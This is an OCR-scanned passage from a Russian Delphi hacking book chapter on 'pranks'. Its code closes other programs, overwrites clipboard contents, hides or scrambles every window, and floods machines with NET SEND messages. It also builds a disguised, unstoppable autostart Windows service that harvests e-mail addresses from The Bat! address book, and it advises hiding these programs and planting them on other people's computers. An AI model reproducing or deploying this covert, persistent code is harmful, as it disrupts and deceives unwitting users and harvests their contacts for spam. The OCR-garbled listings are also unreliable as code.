закрываться, то выключение невозможно. Это сделано для того, чтобы у вас была возможность сохранить измененный документ, о котором вы могли забыть, когда начинали завершение работы.
3.2. Закрыть чужое окно 105 Вот так, наше невидимое окно не закрывается и не позволяет обычными сред- ствами выключить компьютер. Чтобы завершение работы прошло успешно, нуж- но снять задачу и после этого повторить попытку. Если пользователь не увидит задачу, то единственный выход — выключать компьютер кнопкой на системном блоке, что является не совсем корректным выключением. Какие-то данные или настройки могут не сохраниться и потеряться, не говоря о проблемах с жестким диском, если он отформатирован в FAT 32. ПРИМЕЧАНИЕ -------------------------------------------------—------------ Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch03\BadWindow. 3.2. Закрыть чужое окно Меня достаточно часто спрашивают о том, как закрыть чужое окно. Среди Win API есть функция CloseWindow, и большинство пытается использовать ее, но в ре- зультате окно только сворачивается, но не закрывается. Что же делать? Ответ напрашивается сам собой, если внимательно прочитать раздел 3.1. В нем мы говорили о том, что при выключении компьютера ОС посылает всем окнам сообщение с просьбой завершить работу. Нам нужно поступить так же. Давайте создадим простой пример, в котором будем искать определенное окно, и если оно существует, то посылать ему сообщение WM_QUIT, означающее заверше- ние работы. На главном окне нам понадобится только одна кнопка, по событию OnClick которой будет происходить закрытие (листинг 3.1). Листинг 3.1. Код закрытия чужого окна procedure TForml.ButtonlCl1ck(Sender: TObject); var wnd: HWND; begin wnd := FindWindow(nil 'Безымянный - Блокнот’); if wnd <> 0 then PostMessageCwnd, WM_QUIT. 1. 0); end; Для реализации примера создадим одну переменную типа HWND для сохранения идентификатора окна, которое надо закрыть Но сначала это окно нужно найти. Для этого используем функцию FindWindow. Ей нужно передать два параметра: класс окна и текст, указанный в заголовке. Не будем усложнять жизнь определе- нием класса, поэтому оставим этот параметр нулевым, а искать будем по второму параметру. В листинге указан заголовок программы «Блокнот». Результат поис- ка сохраняем в специально отведенной для этого переменной. После поиска обязательно проверяем результат. Если мы получили ненулевое значение, то окно найдено, в противном случае произошла ошибка и окно, скорее всего, отсутствует.
106 Глава 3, Шуточки Теперь посылаем сообщение. Для этого используется функция PostMessage, име- ющая следующие параметры: • идентификатор окна, которому надо отправить сообщение. Указываем то, что возвратила функция FindWindow; • тип сообщения. Нас интересует выход, поэтому передаем WM_QUIT; • WParam — первый параметр. Для сообщения WM_QUIT указывается код выхода; • LParam — второй параметр сообщения. Для сообщения WM_QUIT не используется. Откройте программу «Блокнот» с пустым документом и запустите нашу програм- му. После нажатия кнопки «Блокнот» должен закрыться. ПРИМЕЧАНИЕ -------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch03\CloseWindow. 3.3. Шутки над буфером обмена Искусство хакера состоит в том, чтобы сделать из абсолютно безобидной вещи что-нибудь веселое, интересное и даже шокирующее. Возьмем буфер обмена. Ну что можно сделать с этой возможностью Windows запоминать и вставлять какие- то данные? Но если подойти к задаче с нужным энтузиазмом, то даже такая про- стая вещь может превратиться в «орудие красивой шутки». В большинстве приложений, если есть кнопка вставки из буфера обмена, она дол- жна быть доступна, только если в буфере есть данные подходящего формата. Ка- кая бы программа ни поместила в буфер данные, все остальные должны прове- рить содержимое буфера обмена и отреагировать соответствующим образом. Некоторые начинающие программисты не делают такой проверки, потому что она может вызвать сложности, и проверяют допустимость вставки только после на- жатия соответствующей кнопки. Это неправильно, поэтому мы сначала научимся следить за изменениями буфера обмена, а потом я покажу, как легко превратить этот пример в шуточный. Давайте разберемся, как работают наблюдатели за буфером обмена. Для начала зарегистрируем наше окно в системе как наблюдатель. Для этого используется функция Set С1 1 pboardVi ewer, которая возвращает указатель на следующий наблю- датель в системе. Когда в буфере произошли изменения, система посылает сооб- щение первому в списке наблюдателей, а он уже перенаправляет его следующе- му. Таким образом, приложения сами без вмешательства системы сообщают друг другу об изменениях. Это и хорошо и плохо, ведь какой-то программист может написать программу, не перенаправляющую событие следующему наблюдателю. Давайте рассмотрим все сказанное на практике. Создайте новое приложение и по- местите на главную форму кнопку Вставить и компонент типа ТМето, в который будут вставляться данные из буфера. Пример моей формы изображен на рис. 3.1.
3.3. Шутки над буфером обмена 107 Рис. 3.1. Форма программы-наблюдателя за буфером обмена В Delphi нет готового обработчика события, который мог бы реагировать на изме- нения буфера, поэтому придется описать его самостоятельно. Для этого в разделе private главной формы пишем следующий код: private { Private declarations } FClipboardOwner: HWnd: procedure WMChangeCBChain(var Msg: TWMChangeCBChain); message WM_CHANGECBCHAIN: procedure WMDrawClipboard(var Msg: TWMDrawClipboard): message WMJDRAWCLIPBOARD: Здесь у нас объявлена переменная FC1 ipboardOwner типа HWnd, в которой мы будем хранить указатель на следующее в системе окно, зарегистрированное как наблю- датель. Процедура WMChangeCBChain является обработчиком системного события WM_CHANGE- CBCHAIN. Об этом говорит добавленная в конце объявления процедуры команда message с названием системного события. Событие генерируется каждый раз, ког- да изменяется очередь, а именно происходит удаление какого-то наблюдателя. Чуть позже мы рассмотрим наши действия, которые должны быть записаны в этом обработчике. Процедура WMDrawClipboard будет обработчиком системного события WM_DRAWCLIP- BOARD. Оно генерируется каждый раз, когда в буфере обмена изменились данные и его нужно перерисовать. Теперь посмотрим на реализацию функции WMChangeCBChain, которая вызывается при изменении очереди наблюдателей за буфером обмена (листинг 3.2). Листинг 3.2. Обработчик события на изменение очереди procedure TClipboardViewerForm.WMChangeCBChain(var Msg: TWMChangeCBChain): begin if Msg.Remove = FClipboardOwner then продолжение &
108 Глава 3. Шуточки Листинг 3.2 (продолжение) FClipboardOwner : = Msg.Next else SendMessage(FClipboardOwner, WM_CHANGECBCHAIN. Msg.Remove, Msg.Next); end: В качестве параметра функции мы получаем переменную Msg, которая имеет тип структуры TWMChangeCBChain. В этой структуре нас будут интересовать два свой- ства — Remove и Next. Первое свойство указывает на окно, которое должно быть удалено из очереди, а второе — на окно, следующее за ним. Наша задача — прове- рить: если удаляемое окно является наблюдателем, которому мы посылаем сооб- щения, то должна быть произведена замена следующим наблюдателем: FClipboardOwner := Msg.Next Если удаляется тот наблюдатель, которому мы перенаправляем сообщения мы, то отправим нашему наблюдателю событие WM_CHANGECBCHAIN, указав в качестве па- раметров удаляемое и следующее за ним окна: SendMessage(FClipboardOwner, WM_CHANGECBCHAIN, Msg.Remove, Msg.Next); В следующем окне произойдет та же проверка, и, таким образом, очередь будет перестроена без вмешательства системы. Реализация функции WMDrawCl ipboard, которая вызывается при изменении содер- жимого буфера обмена, приведена в листинге 3.3. Листинг 3.3. Обработчик события на изменение содержимого буфера procedure TClipboardViewerForm.WMDrawClipboard(var Msg; TWMDrawClIpboard); var i; Integer; begin bPaste.Enabled := false: SendMessage(FClipboardOwner. WMJDRAWCLIPBOARD, 0, 0); Msg.Result : = 0: if Clipboard.HasFormat(CF_TEXT) then begin bPaste.Enabled : = true; end; end; Вначале сделаем кнопку вставки (bPaste) недоступной. Изменим ее состояние на активное, только если в буфере будут храниться данные нужного нам формата. После этого с помощью функции Win API SendMessage отправляем сообщение WM_DRAWCLIPBOARD следующему окну в очереди наблюдателей. Теперь можно обрабатывать сообщение самостоятельно. Для этого запускаем цикл, в котором будут перебираться все доступные форматы, и только если они соответствуют CF_TEXT, делаем кнопку вставки активной. Помимо текстового формата вы можете использовать следующие: • CF-BITMAP — растровая картинка; • CF_METAFILEPICT — векторная графическая картинка в формате Windows Metafile;
3.3. Шутки над буфером обмена 109 • CF_PICTURE — объект типа TPi cture; • CF_COMPONENT — компонент Delphi. Ну а теперь — самое главное: регистрация компонента в качестве наблюдателя за буфером обмена. Для этого на события OnCreate или OnShow главной формы запи- шем следующую строку: FClipboardOwner := SetClipboardViewer(Handle): Здесь мы вызываем функцию SetCl ipboardVi ewer, используя в качестве параметра указатель на текущее окно программы, и сохраняем результат в переменной FC1 i р - boardOwner. Как уже обсуждалось, результат — это следующее окно в очереди на- блюдателей. Чтобы пример был более наглядным, для тестирования по событию OnClick для кнопки Вставить напишем код, который будет вставлять данные из буфера обмена в компонент Мето. Для этого достаточно вызвать метод PasteFromCl ipboard компо- нента TMemo: mCl1pboa rVi ewer.PasteFromCl1pboard: Теперь посмотрим, как легко можно превратить этот безобидный пример в шут- ку. В листинге 3.4 приведена обновленная функция WMDrawCl ipboard. Листинг 3.4. Шалости над буфером обмена procedure TClipboardViewerForm WMDrawClipboard(var Msg: TWMDrawClipboard); var i: Integer: begin bPaste.Enabled := false. SendMessageCFClipboardOwner. WMJDRAWCLIPBOARD, 0, 0): Msg.Result := 0: for i := 0 to Clipboard.FormatCount-1 do if Clipboard.HasFormat(CF_TEXT) then begin bPaste.Enabled := true: Clipboard.AsText := 'You are Hacked!!!' end: end; В этом коде, если найден нужный формат, помимо активации кнопки в буфер помещается текст You are Hacked!!!. Таким образом, какой бы текст ни скопирова- ла любая программа, он будет заменен неприятным сообщением. Для большей эффектности можно сделать окно невидимым и подбросить кому- нибудь из друзей. Для этого поместите в обработчик события OnPaint главной формы следующий код: ShowWindow(Handle, SW_HIDE); ShowWindow(Application.Handle, SW_HIDE); Можно проказничать, и не передавая событие об изменении содержимого буфера другим приложениям. Таким образом может быть нарушена цепочка и какая-то программа не обработает событие, а состояние кнопки вставки из буфера не из-
110 Глава 3. Шуточки менится. Это может привести к плачевным последствиям. Например, программа может принимать текст, а кнопка в начальной стадии была активной. При изме- нении содержимого на изображение состояние не изменилось. Теперь пользова- тель пытается вставить картинку как текст, и программа, не сумев обработать бу- фер, может завершить свое выполнение аварийно. В нашем примере буфер обмена стал предметом шутки. Главное было — по- дойти к вопросу с энтузиазмом. Таким образом, практически любая вещь мо- жет предстать совершенно в ином свете, и умения хакера заключаются в том, чтобы видеть такие вещи, использовать их и удивлять своих коллег или знако- мых. ПРИМЕЧАНИЕ ----------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch03\ClipBoard. 3.4. Кавардак на Рабочем столе Очень интересного эффекта можно добиться, если получить доступ к чужим ок- нам. Любой пользователь реагирует на такие вещи неожиданно и может получить кратковременный шок. Сейчас мы посмотрим, как можно перебирать все окна на экране и случайным образом выводить любое из них поверх всех. Цикл перебора будет бесконечным, поэтому через разные промежутки времени поверх всех окон будет появляться какое-нибудь окно. Создайте новое приложение и поместите на форму только одну кнопку. По нажа- тии этой кнопки напишем следующий код: procedure THaosForm.bStartClick(Sender: TObject); begin while (true) do EnumWindows(@EnumWindowsProc, 0); end; Здесь запускается бесконечный цикл, в котором вызывается функция Win API EnumWindows. Эта функция используется для перебора всех окон на Рабочем столе. Для каждого найденного окна будет вызываться функция, указанная в качестве первого параметра; в нашем случае это EnumWi ndowsProc (листинг 3 5). Листинг 3.5. Случайным образом сворачиваем найденное окно function EnumWindowsProc(h: hwnd; Iparam: Integer): BOOL; stdcall; begin if IsWindowVisible(h) then if random!100) = 4 then SetForegroundWindow(h); Result ;= true; end;
3.5. Сервисы 111 В качестве первого параметра функции EnumWindowsProc мы получаем идентифи- катор найденного окна. Именно с ним мы и будем в дальнейшем работать. Сначала проверяем, является ли окно видимым. Если нет, то не стоит даже пы- таться выводить такое окно поверх остальных. Для этой проверки существует функция IsWindowVisible, которой нужно передать единственный параметр — иден- тификатор окна, и если оно видимо, то функция возвратит значение true, в про- тивном случае — f al se. Если окно видимо, то его можно отобразить поверх остальных, но если каждое окно «дергать» наверх, то это будет некрасиво. Давайте сгенерируем случайное число от 0 до 100, и если полученный результат будет равен 4, то только тогда отображать окно поверх всех. Для генерации случайного числа будем использо- вать стандартную функцию random. Для вывода окна поверх остальных можно воспользоваться функцией SetForeg- roundWindow — ей достаточно передать идентификатор нужного окна. Для большего эффекта можно сделать программу невидимой, и тогда пример мож- но «подбросить» кому-нибудь на компьютер. ПРИМЕЧАНИЕ ------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch03\SetForeground. Перебирая окна, можно добиться множества эффектов. Давайте будем сворачи- вать все окна в бесконечном цикле. В листинге 3.6 приведен код функции EnumWindowsProc, в которой видимые окна сворачиваются. Для этого применяется функция ShowWindow, где в качестве перво- го параметра указывается найденное окно, а второй параметр, — флаг SW MINIMI- ZE — указывает на необходимость свернуть окно. Если заменить флаг SW MINIMIZE на SW_HIDE, то все найденные окна будут исчезать. Вы только представьте себе пользователя, у которого на глазах пропадают все окна запущенных программ,— какую бы программу он ни запустил, окно тут же исчезает! Листинг 3.6. Сворачиваем все окна function EnumWindowsProc(h; hwnd; Iparam; Integer): BOOL; stdcall; begin if IsWindowVisible(h) then if random(lOO) = 4 then ShowWindow(h. SWMINIMIZE): Result := true; end; 3.5. Сервисы Сервисы (или службы) стали одним из самых слабых мест в Windows 2000, пото- му что здесь можно зарегистрировать практически любую программу, а пользо-
112 Глава 3. Шуточки ватели боятся заглядывать в оснастку сервисов и смотреть, что там происходит. Именно поэтому в «зловредном» коде часто используется технология сервисов. В Delphi создание служб было упрощено так, что дальше просто некуда. Посмот- рим, как в Delphi можно создать свой собственный сервис. Это можно сделать с помощью сложной и неприятной регистрации через Win API или с использова- нием средств, предоставляемых средой разработки Delphi. Зачем выдумывать пистолет, когда есть пулемет? Поэтому воспользуемся готовым классом — TService. Корпорация Borland как всегда все упрощает, и для создания сервиса нужно не больше усилий, чем на «Hello, world». Запускаем Delphi и сразу закрываем созданный по умолчанию проект. Выберите пункт меню File ► New ► Other (для Delphi меньше 7-й версии просто File ► New). В появившемся диалоговом окне (рис. 3.2) перейдите на вкладку New и укажите пиктограмму Service Application. Можно считать, что сервис готов. Рис. 3.2. Диалоговое окно выбора типа создаваемого проекта Код главного модуля похож на все то, с чем вы уже привыкли работать. Но «изю- минка» спрятана немного дальше, а именно в объекте. Если стандартное прило- жение происходит от объекта TForm, то здесь мы «пляшем мазурку» от TService. Визуальная форма больше похожа на модуль данных (Data Module) и на ней можно размещать все, кроме визуальных компонентов. Это и понятно, ведь сервис работа- ет невидимо для пользователя и ничего визуального на главной форме не должно быть. Визуальными могут быть какие-то дополнительные окна, которые появля- ются в ответ на определенные события, но сам сервис будет невидим. 3.5.1. Свойства объекта TService Давайте посмотрим на самые «вкусные» свойства объекта TServi се, которые нахо- дятся в диалоговом окне Object Inspector (рис. 3.3).
3.5. Сервисы 113 Рис. 3.3. Свойства объекта TService Рассмотрим назначение этих свойств: • Al 1 owPause — позволяет пользователю приостанавливать работу сервиса. Я злой, поэтому в своем сервисе отключаю эту возможность (рис. 3.4). Неза- чем тормозить мои великие творения. • Al 1 owStop — позволяет пользователю останавливать работу сервиса. И снова моя злость заставляет убрать эту возможность. Рис. 3.4. Свойства моего сервиса, в котором запрещена возможность остановки и паузы
114 Глава 3, Шуточки • DisplayName — отображаемое имя. Именно этот текст можно будет увидеть в оснастке сервисов в имени. Я указал Сервис на Delphi, но в настоящем шуточ- ном проекте я бы посоветовал подойти к выбору имени более тщательно. Как корабль назовешь, так он и потонет.... Например, можно написать здесь Служба безопасности NTFS, тогда ни у кого не поднимется рука остановить такое. Лучше использовать английский язык, чтобы совсем испугать бедного и несчастного пользователя. Но и исполняемый файл в этом случае должен будет иметь со- ответствующее имя, а не просто Projectl.exe. • ErrorSeverity — служит для принятия мер в случае возникновения ошибки во время запуска. Здесь можно указать одно из следующих значений: О esignore — продолжить выполнение; О esNormal — вывести сообщение, но продолжить работу; О esSevere — продолжить работу, если стартует конфигурация, которая уже стартовала удачно, или запустить конфигурацию, которая стартовала удачно. О esCritical — запустить конфигурацию, которая стартовала удачно, но если сейчас стартует именно она, то запуск выдаст ошибку. В любом случае в системном журнале прописывается запись о происшедшей ошибке, на экране нам отображать ничего не надо. Не стоит пользователя сму- щать лишними сообщениями, иначе из-за какой-то маленькой ошибки нач- нутся «раскопки», что это за сервис выдал ошибку и зачем. Поэтому измените свойство ErrorSeverity на esignore. Системные журналы проверяют редко, а вот сообщение на экране упустить из виду просто нереально. • ServiceStartName и Password — это имя учетной записи и пароль, под которыми будет работать сервис. От них зависят права на доступ к различным объектам. Если вы заведомо знаете пароль администратора машины «жертвы», то може- те указать его здесь, в противном случае оставьте эти параметры пустыми, что- бы сервис работал под системной учетной записью. • Dependencies — зависимости. Если дважды щелкнуть по этому свойству, то по- явится диалоговое окно, в котором можно указать сервисы, от которых будет зависеть ваш собственный сервис. Это значит, что все они должны будут запу- ститься раньше. • ServiceType — тип сервиса. Существует следующие три типа сервисов: О stWin32 — стандартный оконный сервис — то, что нам и нужно; О stDevice — применяется для драйверов устройств; О stFi 1 eSystem — драйвер файловой системы. • StartType — тип запуска сервиса по умолчанию. Здесь можно указать одно из следующих значений: О stBoot — используется оконный загрузчик, когда тип сервиса не stWi п32; О stSystem — стартовать после инициализации системы;
3.5. Сервисы 115 О stAuto — запускаться автоматически во время загрузки системы. Для «зло- го» сервиса это идеальный вариант; О stManual — ручной запуск сервиса; О stDi sabl ed — отключено. Не будем скромничать, а сделаем так, чтобы сервис по умолчанию запускался автоматически (stAuto). 3.5.2. События объекта TService Самое «вкусное» прячется в событиях объекта TServi се. Рассмотрим эти события: • AfterInstall — генерируется после инсталляции сервиса. • AfterUninstall — генерируется после удаления сервиса. • Beforelnstal 1 — генерируется до инсталляции сервиса • BeforeUni nstal 1 — генерируется до удаления сервиса. • OnContinue — запуск после паузы. • OnPouse — сервис приостановлен. • OnShutdown — сервис остановлен на выключение. • OnStart — сервис стартовал. • OnStop — сервис остановился. 4 Ф > » о » •> ......1 Службы^ W. . 1 Описание' ! Состояние j Тип запуска [входе систему.*! Планировщик зад... Позволяв... Поставщик подд е... Обеспечи... Работает Работает Авто Вручную LocalSystem Localsystem Протокол Simple М... Передает... Работает Авто LocalSystem Рабочая станция Обеспечи... Работает Авто LocalSystem ^Распределенная ф... Управляв... Работает Авто LocalSystem Расширения драйв... Обеспечи... Репликация файлов Обеспечи... Работает Вручную Вручную LocalSystem LocalSystem Сервер Обеспечи... Сервер отс лежива... Сохраняе... ^Сервер папки обм... Позволяв... Работает Авто Вручную Вручную LocalSystem LocalSystem LocalSystem ЕЭСервиС на Delphi Работает Дето LocalSystem Hi ^Сетевой вход в си... Поддерж... Работает Авто LocalSystem Сетевые подключ... Управляв... Работает Вручную LocalSystem Система событий ... Автомати... Работает Вручную LocalSystem ж: ^Служба FTP -публ... Обеспечи... Работает Авто LocalSystem ^Служба IIS Admin Позволяв... ^Служба Intersite М... Позволяв... Работает Авто Отключено LocalSystem LocalSystem Служба Run As Позволяв... Служба администр... Служба а... Работает Авто Вручную LocalSystem LocalSystem ^Служба веб-публи... Обеспечи... Работает Авто LocalSystem / '-"Г: 4 Рис. 3.5. Установленный сервис
116 Глава 3. Шуточки Какие события нам выбрать? На первый взгляд «злой» код должен находится в - событии OnStart. Это верно, но не на все 100 %, потому что «злиться» надо на два события — OnStart и Onlnstal 1. Когда пользователь инсталлирует сервис, мы уже можем сделать что-то интересное, не дожидаясь нормального запуска сервиса. Именно так и поступим. 3.5.3. Запуск и остановка сервиса Перейдем к компиляции проекта и установке получившегося сервиса в систему. Чтобы установить сервис, нужно откомпилировать проект (комбинация клавиш Ctrl+F9) и запустить программу с ключом /INSTALL. В окне Службы (рис. 3.5) пока- зано, что сервис успешно работает./ Чтобы удалить сервис из системы, нужно запустить программу с ключом /UNINSTALL. Если вы создаете сервис с запрещенной возможностью остановки, то советую на время тестирования разрешить старт/стоп. Иначе после запуска сервиса невоз- можно перекомпилировать файл, приходится удалять его из системы и переза- гружаться. Когда все будет готово, вот тогда и установите в свойстве AllowStop значение false. 3.6. Вскрываем The ВАТ Почему программа The ВАТ (в народе «почтовая мышка») считается самой безо- пасной? Просто она не поддерживает VB-скрипты, и формат адресной книги за- секречен. Если в Microsoft Outlook любой вирус может получить доступ к адре- сам e-mail и разослать себя вашим друзьям, то в The ВАТ это нереально. Это нереально, но только не для хакера.... Адресная книга The Bat хранит свои записи в файле TheBat.abd. Могут быть и дру- гие файлы с таким же расширением, но отличающимся именем. Я уже сказал, что этот формат закрыт и мне не удалось найти никакого описания. Но закрыт только формат, а содержимое открыто и абсолютно никак не шифруется. Откройте файл в режиме просмотра, и вы увидите среди «кучи мусора» настоящие адреса e-mail. Как отбросить ненужное и воспользоваться только тем, что действительно необ- ходимо? Все очень просто. Мы должны изучить весь файл на наличие e-mail адре- сов, невзирая на формат. Мои исследования показали, что сразу после адреса сто- ят символы перевода каретки #13 и #10. Их наличие легко объяснить. На рис. 3.6 показано диалоговое окно создания новой записи в адресной книге. На нем видно, что адреса записываются в поле E-Mail address(es), которое явно от- носится к классу Мето. Вот отсюда и берется перевод каретки — это завершение строки в компоненте и заодно разделитель адресов. Неоднократный анализ фай- ла подтвердил мою теорию. ♦ Теперь алгоритм сканирования упрощается «дальше некуда». Ищем все разум- ные слова и, как только встречается символ перевода каретки, проверяем, есть ли в найденном слове знак @. Если да, то это адрес e-mail и его нужно сохранить для будущего использования, а если нет, то продолжаем поиск.
3.6. Вскрываем The ВАТ 117 Рис. 3.6. Запись в адресной книге Для поиска адресов e-mail будем использовать сервис, чтобы закрепить на прак- тике то, о чем мы говорили в разделе 3.5 данной главы. Код, который вы должны написать в обработчике события Onlnstal 1 своего сервиса, приведен в листинге 3.7. В обработчике события OnStart нужно вызвать эту же процедуру, чтобы не писать код еще раз. Листинг 3.7. Код сканирования адресной книги The ВАТ на наличие адресов e-mail procedure TServicel.ServiceAfterInstall(Sender: TService); var AddrBook: TFileStream; OutStream: TStringList: FileArray: array CO..1024] of char; Addr; String; 1, index: Integer; begin // Открываем файл AddrBook := TFileStream.Create('E:\The Bat!\MAIL\TheBat.ABD’. fmOpenRead); // Создается файл для хранения найденных адресов OutStream : = TStringList.Create; Addr ; index := AddrBook.Read(FileArray. 1024); // Цикл чтения из файла while index > 0 do begin продолжение &
118 Глава 3. Шуточки Листинг 3.7 (продолжение) II Цикл сканирования прочитанного буфера for i ;= 0 to Index do begin // Это доступный символ? if ((Fi1eArrayEi3>'А') and (Fi1 eArrayEi]<’z‘)) or (FileArray[i]='.') or (FileArray[i]=,@') then Addr := Addr+FileArrayEi] else begin // Если в переменной Addr адрес e-mail, то можно сохранять if (FileArray[i]=#13) and (Length(Addr)>0) and (pos('@', Addr)>2) then OutStream.Add(Addr); Addr ; end; end; index ;= AddrBook.Read(FileArray, 1024); end; // Сохраняем все в файл OutStream.SaveToFileC 'cAemail .txt'); // Очищаем память объектов OutStream.Free; AddrBook.Free; end; Разберем, что происходит в листинге. Мы загрузили файл адресной книги в фай- ловый поток типа TFil eSt ream. В качестве пути указывается явное расположение, а в реальной программе вы должны просканировать еще и все диски, потому что на компьютере программа и адресная книга могут находиться где угодно. Создадим переменную типа TStringList, где будут сохраняться найденные адреса e-mail. Мне нравится использовать этот тип, потому что с ним легко работать как с набором строк и удобно сохранять весь список в текстовый файл. Теперь запускается цикл, в котором последовательно считывается содержимое файла адресной книги по 1000 байт. Чтобы было проще, округлим число до 1024 байтов. У меня этот файл большой, поэтому чтение будет происходить боль- шими блоками. Внутри цикла чтения находится еще один цикл, в котором сканируется считан- ный блок. Если очередной символ является буквой или допустимым для адреса e-mail символом, то добавляем этот символ к временной текстовой переменной Addr. Если это другой символ, то нужно проверить: вдруг это перевод каретки и в нашей временной переменной уже сформировался полноценный адрес e-mail. Если так, то сохраняем содержимое Addr в массиве строк и продолжаем поиск. Когда достигнут конец файла адресной книги, просто сохраняем результирую- щий набор строк из адресов e-mail в текстовый файл Email.txt в корне на диске С.
3.7. Ошибка службы сообщений 119 Как видите, все очень просто и никому не потребовалось выяснять засекречен- ные форматы. Теперь вы можете использовать найденную информацию The ВАТ в своих корыстных целях, только не нарушайте закон. С помощью этого метода можно «вытащить» что угодно из любого файла, с не- большими изменениями в коде. Главное, чтобы не было шифрования, иначе чис- ло трудностей увеличится в несколько раз. Лично я считаю, что в наше «спамерское» время адреса e-mail друзей являются сек- ретной информацией, и будет обидно, если именно от меня к друзьям придет пись- мо с вирусом или спамом из-за нежелания программистов The ВАТ зашифровать адресную книгу и полной незащищенности адресной книги Microsoft Outlook. ПРИМЕЧАНИЕ --------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch03\ServiceThebat. 3.7. Ошибка службы сообщений В системе Windows NT есть очень удобная служба обмена сообщениями. Чтобы передать какой-то текст на другой компьютер, достаточно написать в командной строке следующую команду: NET SEND [Адрес или имя компьютера] [Текст сообщения] Для задания адреса можно указывать как имя компьютера, так и IP-адрес. Вот примеры отправки сообщения Прикрой, я атакую!!! на IP-адрес 192.168.8.1 и ком- пьютер с именем SuperLamer: NET SEND 192.168.8.1 Прикрой, я атакую!!! NET SEND SuperLamer Прикрой, я атакую!!! После выполнения команд на компьютере пользователя, которому вы посылали сообщение, появится окно с отправленным текстом (рис. 3.7). Рис. 3.7. Окно с сообщением, отправленным командой NET SEND Таким способом удобно обмениваться короткими сообщениями в локальной сети на любых расстояниях без установки дополнительного «софта». Самое интересное в этой технологии, что она абсолютно не защищена от «бом- бардировки». Вы легко можете отправить хоть сотню сообщений, и все они до- стигнут получателя. Мой зам. начальника очень часто доставал меня вопросами через NET SEND, потому что находился в другом здании (на расстоянии около 500 метров). Мне стали надоедать сообщения, появляющиеся с постоянной пери-
120 Глава 3. Шуточки одичностью, и я написал небольшую программу, которая «бомбила» зам. началь- ника ответными сообщениями. Через пять минут завязалась самая настоящая война сообщений. Давайте напишем небольшую универсальную программу, которая будет «бом- бить» любой адрес в сети. Создайте новый проект. На главную форму поместите три поля ввода и кнопку с заголовком Бомбить (рис. 3.8). Рис. 3.8. Форма будущей программы Поля ввода будут иметь следующие имена (свойства Name): • edAddress — поле для ввода IP-адреса или имени машины, которую надо «бом- бить»; • edSendNumber — количество отправляемых сообщений; • edSendText — текст сообщения. Код, который необходимо написать по событию OnCl ick для кнопки Бомбить, при- веден в листинге 3.8. Листинг 3.8. Код «бомбардировки» procedure TNETSENDForm.bBombClick(Sender: TObject); var i: Integer: begin for i := 1 to StrToIntDef(edSendNumber.Text, 1) do begin WinExec(PChar('NET SEND ’ + edAddress.Text+' ' + edSendText.Text), SW_SHOW); Sleep(lOOO); end: end; Здесь запускается цикл, в котором выполняется команда NET SEND с помощью функции WinExec (эта функция запускает приложение, в данном случае команду NET SEND). Между отправками происходит задержка в 1 секунду (функция S1 еер), чтобы было хоть немного времени на закрытие появляющихся окон. Обратите внимание, что при преобразовайии строки в число мы используем функ- цию StrToIntDef, чтобы не возникло ошибки, если пользователь введет в количе-
3.8. Управление свойствами окон 121 ство отправляемых сообщений недопустимое значение. В этом случае будет от- правлено только одно сообщение. Если вас начали «бомбить», то первым делом советую выдернуть из компьютера сетевой шнур. После этого выберите пункт меню Пуск ► Настройка ► Панель уп- равления ► Администрирование ► Службы, и перед вами откроется окно настройки служб (рис. 3.9). . File Action .View Help'; Рис. 3.9. B Windows 2003 Server служба Messenger по умолчанию отключена Найдите здесь службу сообщений (Messenger) и, щелкнув правой кнопкой мыши на названии, выберите в появившемся меню пункт Стоп. После этого можете воз- вращать кабель на место. Вы останетесь без возможности обмена сообщениями, зато никто не сможет «забомбить» ваш компьютер. ПРИМЕЧАНИЕ ----------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sou rces\chO3\N ETSend. 3.8. Управление свойствами окон Посмотрите на рис. 3.10, где показан полный снимок Рабочего стола. Как видите, в центре находится большое окно, внутри которого расположена Па- нель задач и окна Windows. Нет, это не рисунок, сделанный в графическом редак-
122 Глава 3. Шуточки торе, это окно моей программы, в которое я перенес все окна с Рабочего стола. И этот трюк делается до безобразия просто, практически парой строк. Рис. 3.10. Windows внутри окна Создайте новый проект в Delphi и поместите на форму кнопку Запустить. По на- жатии этой кнопки пишем вызов знакомой функции EnumWindows перебора всех окон: EnumWindows(^EnumWindowsProc. 0): Функция EnumWi ndowsProc, которая будет вызываться для каждого найденного окна, должна выглядеть следующим образом: function EnumWindowsProc(h: hwnd: Iparam: Integer): BOOL; stdcall; begin if IsWindowVisible(h) then SetParentCh, HaosForm.Handle); Result := true; end; Здесь мы проверяем, является ли окно видимым. Если так, то вызывается функ- ция SetParent, которая устанавливает родительское окно. В качестве первого па- раметра функции нужно указать окно, родителя которого мы хотим изменить, а в качестве второго указывается новый родитель. Во втором параметре исполь-
3.8. Управление свойствами окон 123 зуется указатель на главное окно нашей программы. Таким образом, все, что на- ходится на экране, переносится внутрь указанного окна. Давайте улучшим пример и еще немного поиграем с чужими окнами. Поместите на форму кнопку с заголовком Убрать меню, по событию OnClick которой будет вызываться следующая функция: EnumWindows(@EnumW1ndowsProcl, 0); Здесь запускается перебор окон, но теперь для каждого найденного окна будет вызываться другая функция с именем EnumWindowsProcl. Эта функция выглядит следующим образом: function EnumWindowsProcKh: hwnd: Iparam: Integer): BOOL: stdcall: begin If IsWlndowVlslble(h) then SetMenu(h, 0): Result := true: end: В этой функции также происходит проверка на видимость найденного окна. Если оно видимо, то вызывается функция установки меню SetMenu. Этой функции нуж- но передать следующие два параметра: • указатель на окно, в котором нужно установить меню. Здесь мы указываем идентификатор найденного окна; • меню, которое должно быть установлено. Указываем 0, что равноценно удале- нию меню. Запустите программу и нажмите кнопку Убрать меню. Во всех окнах, где использу- ются стандартные меню Windows, меню исчезнет. В Delphi 7, в пакете программ MS Office и некоторых других продуктах используются нестандартные меню в сти- ле ХР. На самом деле это панели с кнопками, по нажатии которых выпадает меню, поэтому в этих программах ничего не произойдет. Давайте модифицируем код и, наоборот, установим меню. Для этого поместите на форму компонент TMainMenu и создайте в нем любые пункты. Можно приду- мать все что угодно, и обработчики ставить не обязательно, только названия. Теперь можно изменить функцию SetMenu на следующую: SetMenuCh, HaosForm.MainMenul.Handle): Таким образом, для всех окон устанавливается меню из компонента TMainMenu. По- смотрите на рис. 3.11, где показан скриншот программы Delphi На каждом окне установлено одно собственное меню там, где его раньше не было. 